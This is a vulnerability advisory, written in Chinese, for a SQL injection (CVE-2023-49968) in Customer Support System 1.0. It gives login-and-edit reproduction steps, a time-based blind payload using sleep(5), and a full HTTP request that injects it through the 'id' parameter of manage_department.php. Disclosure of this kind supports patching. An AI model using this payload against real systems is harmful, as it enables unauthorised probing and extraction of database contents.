描述：客户支持系统 1.0 版本存在 SQL 注入漏洞。恶意攻击者可在编辑部门时通过操纵 'id' URL 参数，在 MySQL 数据库上执行 SQL 命令。
受影响产品版本：Customer Support System 1.0
CVE 作者：Geraldo Alcântara
日期：28/11/2023
确认日期：19/12/2023
CVE：CVE-2023-49968
测试环境：Windows
1- 登录应用程序。
2- 进入部门编辑页面，点击“操作”按钮，然后选择“编辑”。
3- 系统会传递 'id' 参数，从而允许插入恶意 payload。
payload： (select*from(select(sleep(5)))a)
GET /customer_support/manage_department.php?id=(select*from(select(sleep(5)))a) HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
发现者/致谢：
Geraldo Alcântara